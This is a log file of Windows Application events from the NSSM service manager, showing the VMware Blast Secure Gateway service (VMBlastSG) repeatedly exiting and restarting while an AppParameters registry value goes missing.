{"@timestamp":1646688906960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157770}}
{"@timestamp":1646688906961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157771}}
{"@timestamp":1646688906962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157772}}
{"@timestamp":1646689035483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157773}}
{"@timestamp":1646689035485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157774}}
{"@timestamp":1646689035486,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","133260","0"]}}},"module":"Application","provider":"nssm","sequence":157775}}
{"@timestamp":1646689035487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["133260","133260","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157776}}
{"@timestamp":1646689035506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157777}}
{"@timestamp":1646689035507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157778}}
{"@timestamp":1646689035507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157779}}
{"@timestamp":1646689035508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157780}}
{"@timestamp":1646689164197,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157781}}
{"@timestamp":1646689164198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157782}}
{"@timestamp":1646689164198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154644","0"]}}},"module":"Application","provider":"nssm","sequence":157783}}
{"@timestamp":1646689164198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154644","154644","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157784}}
{"@timestamp":1646689164215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157785}}
{"@timestamp":1646689164216,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157786}}
{"@timestamp":1646689164216,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157787}}
{"@timestamp":1646689164217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157788}}
{"@timestamp":1646689292735,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157789}}
{"@timestamp":1646689292736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157790}}
{"@timestamp":1646689292736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154316","0"]}}},"module":"Application","provider":"nssm","sequence":157791}}
{"@timestamp":1646689292737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154316","154316","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157792}}
{"@timestamp":1646689292753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154296","0"]}}},"module":"Application","provider":"nssm","sequence":157793}}
{"@timestamp":1646689292753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154296","154316","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157794}}
{"@timestamp":1646689292768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157795}}
{"@timestamp":1646689292768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157796}}
{"@timestamp":1646689292769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157797}}
{"@timestamp":1646689292769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157798}}
{"@timestamp":1646689421270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157799}}
{"@timestamp":1646689421272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157800}}
{"@timestamp":1646689421273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155480","0"]}}},"module":"Application","provider":"nssm","sequence":157801}}
{"@timestamp":1646689421274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155480","155480","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157802}}
{"@timestamp":1646689421293,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157803}}
{"@timestamp":1646689421294,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157804}}
{"@timestamp":1646689421295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157805}}
{"@timestamp":1646689421296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157806}}
{"@timestamp":1646689550102,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157807}}
{"@timestamp":1646689550103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157808}}
{"@timestamp":1646689550104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154468","0"]}}},"module":"Application","provider":"nssm","sequence":157809}}
{"@timestamp":1646689550105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154468","154468","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157810}}
{"@timestamp":1646689550122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153776","0"]}}},"module":"Application","provider":"nssm","sequence":157811}}
{"@timestamp":1646689550123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153776","154468","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157812}}
{"@timestamp":1646689550140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157813}}
{"@timestamp":1646689550141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157814}}
{"@timestamp":1646689550141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157815}}
{"@timestamp":1646689550142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157816}}
{"@timestamp":1646689678649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157817}}
{"@timestamp":1646689678650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157818}}
{"@timestamp":1646689678651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154708","0"]}}},"module":"Application","provider":"nssm","sequence":157819}}
{"@timestamp":1646689678651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154708","154708","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157820}}
{"@timestamp":1646689678668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157821}}
{"@timestamp":1646689678668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157822}}
{"@timestamp":1646689678669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157823}}
{"@timestamp":1646689678670,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157824}}
{"@timestamp":1646689807384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157825}}
{"@timestamp":1646689807386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157826}}
{"@timestamp":1646689807387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155236","0"]}}},"module":"Application","provider":"nssm","sequence":157827}}
{"@timestamp":1646689807387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155236","155236","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157828}}
{"@timestamp":1646689807404,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157829}}
{"@timestamp":1646689807405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157830}}
{"@timestamp":1646689807405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157831}}
{"@timestamp":1646689807406,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157832}}
{"@timestamp":1646689935942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157833}}
{"@timestamp":1646689935944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157834}}
{"@timestamp":1646689935944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154752","0"]}}},"module":"Application","provider":"nssm","sequence":157835}}
{"@timestamp":1646689935947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154752","154752","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157836}}
{"@timestamp":1646689935966,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157837}}
{"@timestamp":1646689935966,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157838}}
{"@timestamp":1646689935967,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157839}}
{"@timestamp":1646689935968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157840}}
{"@timestamp":1646690064474,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157841}}
{"@timestamp":1646690064475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157842}}
{"@timestamp":1646690064476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155096","0"]}}},"module":"Application","provider":"nssm","sequence":157843}}
{"@timestamp":1646690064476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155096","155096","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157844}}
{"@timestamp":1646690064492,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157845}}
{"@timestamp":1646690064493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157846}}
{"@timestamp":1646690064493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157847}}
{"@timestamp":1646690064494,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157848}}
{"@timestamp":1646690193005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157849}}
{"@timestamp":1646690193007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157850}}
{"@timestamp":1646690193007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152700","0"]}}},"module":"Application","provider":"nssm","sequence":157851}}
{"@timestamp":1646690193008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152700","152700","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157852}}
{"@timestamp":1646690193029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157853}}
{"@timestamp":1646690193030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157854}}
{"@timestamp":1646690193030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157855}}
{"@timestamp":1646690193031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157856}}
{"@timestamp":1646690321530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157857}}
{"@timestamp":1646690321530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157858}}
{"@timestamp":1646690321531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153776","0"]}}},"module":"Application","provider":"nssm","sequence":157859}}
{"@timestamp":1646690321532,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153776","153776","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157860}}
{"@timestamp":1646690321548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157861}}
{"@timestamp":1646690321548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157862}}
{"@timestamp":1646690321549,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157863}}
{"@timestamp":1646690321550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157864}}
{"@timestamp":1646690450066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157865}}
{"@timestamp":1646690450067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157866}}
{"@timestamp":1646690450068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155632","0"]}}},"module":"Application","provider":"nssm","sequence":157867}}
{"@timestamp":1646690450069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155632","155632","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157868}}
{"@timestamp":1646690450086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157869}}
{"@timestamp":1646690450087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157870}}
{"@timestamp":1646690450087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157871}}
{"@timestamp":1646690450089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157872}}
{"@timestamp":1646690578602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157873}}
{"@timestamp":1646690578602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157874}}
{"@timestamp":1646690578603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152964","0"]}}},"module":"Application","provider":"nssm","sequence":157875}}
